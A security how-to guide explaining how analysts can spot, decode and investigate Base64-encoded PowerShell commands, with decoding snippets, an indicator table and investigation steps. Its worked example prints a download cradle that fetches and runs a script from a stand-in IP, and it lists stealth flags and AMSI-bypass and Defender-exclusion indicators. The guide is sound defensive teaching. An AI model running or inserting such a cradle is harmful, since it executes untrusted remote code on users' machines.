Tools / Guides / Decode encoded PowerShell

How to decode encoded PowerShell commands

Why attackers use powershell -enc, how to decode the Base64 safely (it's UTF-16LE), how to unpack compressed layers, and what to look for once you can read it.

Updated 2026-11-04 · 8 min read

You find a process creation event with a command line like powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0A... and a few hundred more characters of what looks like noise. That noise is the actual script, Base64-encoded. Attackers use encoded PowerShell because it hides the script from a quick glance, survives being passed through other tools without quoting problems, and slips past simple keyword alerts. Decoding it takes a minute once you know the one detail that trips most people up.

Spot the encoded command

PowerShell accepts any unambiguous abbreviation of -EncodedCommand, so you'll see all of these:

-EncodedCommand   -enc   -en   -e   -ec

They usually travel with other options that keep the window out of sight and skip the user's profile and execution policy: -nop (NoProfile), -w hidden (WindowStyle Hidden), -ep bypass (ExecutionPolicy Bypass) and -noni (NonInteractive). None of them is malicious alone. Together with -enc, from Office or a browser as the parent process, they're a very strong signal.

You'll find them in Security Event ID 4688 (if command-line auditing is on), in Sysmon Event ID 1, in services (Event ID 7045), scheduled tasks and Run keys.

Decode it: the UTF-16LE detail

-EncodedCommand expects Base64 of the script in UTF-16LE, not UTF-8. Decode it as UTF-8 and you get text with a dot or blank between every letter, which is the giveaway. Decoding is just text conversion; it doesn't run anything, so it's safe to do on an analyst machine.

PowerShell:

$b64 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA0ADUALwBhAC4AcABzADEAJwApAA=='
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64))

That prints:

IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.45/a.ps1')

A download cradle: fetch a script from that address and run it in memory.

Python:

import base64
print(base64.b64decode(b64).decode('utf-16-le'))

CyberChef: "From Base64", then "Decode text" with UTF-16LE (1200). Or "Remove null bytes" after From Base64, which works for plain English text.

Copy the whole string. Event viewers and SIEM tables often cut long command lines. If the decoded text stops mid-word, get the full value from the raw event XML.

Peel off the next layer

The first decode often reveals another layer. The common ones:

$bytes = [Convert]::FromBase64String($inner)
$ms = New-Object IO.MemoryStream(,$bytes)
$z  = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Decompress)   # or DeflateStream
(New-Object IO.StreamReader($z)).ReadToEnd()

Whatever you do, never run the decoded script, and don't run any line that calls IEX, Invoke-Expression or &. Replace those with Write-Output if you need PowerShell to rebuild a string for you, and do it in a disposable VM.

If script block logging is on, you may not need any of this: PowerShell Event ID 4104 records the script after PowerShell itself has decoded it.

What to look for in the decoded script

You seeIt means
DownloadString, DownloadFile, Invoke-WebRequest, iwr, Net.WebClientIt fetches something. Note every URL, domain and IP.
IEX, Invoke-ExpressionRuns code it just built or downloaded.
AmsiUtils, amsiInitFailedAMSI bypass: it's trying to blind antivirus.
Reflection.Assembly]::Load, VirtualAlloc, GetDelegateForFunctionPointerLoads code or shellcode straight into memory.
Set-MpPreference, Add-MpPreference -ExclusionPathTurning off Defender or adding exclusions.
New-ScheduledTask, New-Service, Run key pathsPersistence.

Then investigate

  1. Check every URL, domain and IP from the script against threat intelligence.
  2. Look at the parent process. Winword, Excel, Outlook, a browser or wmiprvse.exe starting it means phishing or remote execution.
  3. Check network logs or Sysmon Event ID 3 for whether the download actually happened.
  4. Search for the same encoded string, or its decoded URL, on other hosts. Campaigns reuse them.

FAQ

Is every encoded PowerShell command malicious?

No. Ansible, some RMM and deployment tools, and a few vendor agents use -EncodedCommand to avoid quoting problems. Decode it, check the parent process, and add known-good tools to an allow list instead of ignoring the pattern.

Why does my decoded text have dots between every letter?

You decoded UTF-16LE as UTF-8 or ASCII. Use [Text.Encoding]::Unicode in PowerShell or utf-16-le in Python.

How do I detect encoded PowerShell automatically?

Turn on command-line logging for Event ID 4688 or deploy Sysmon, enable script block logging (4104), and alert on powershell with -e, -en or -enc followed by a long Base64 string, especially from Office or browser parents.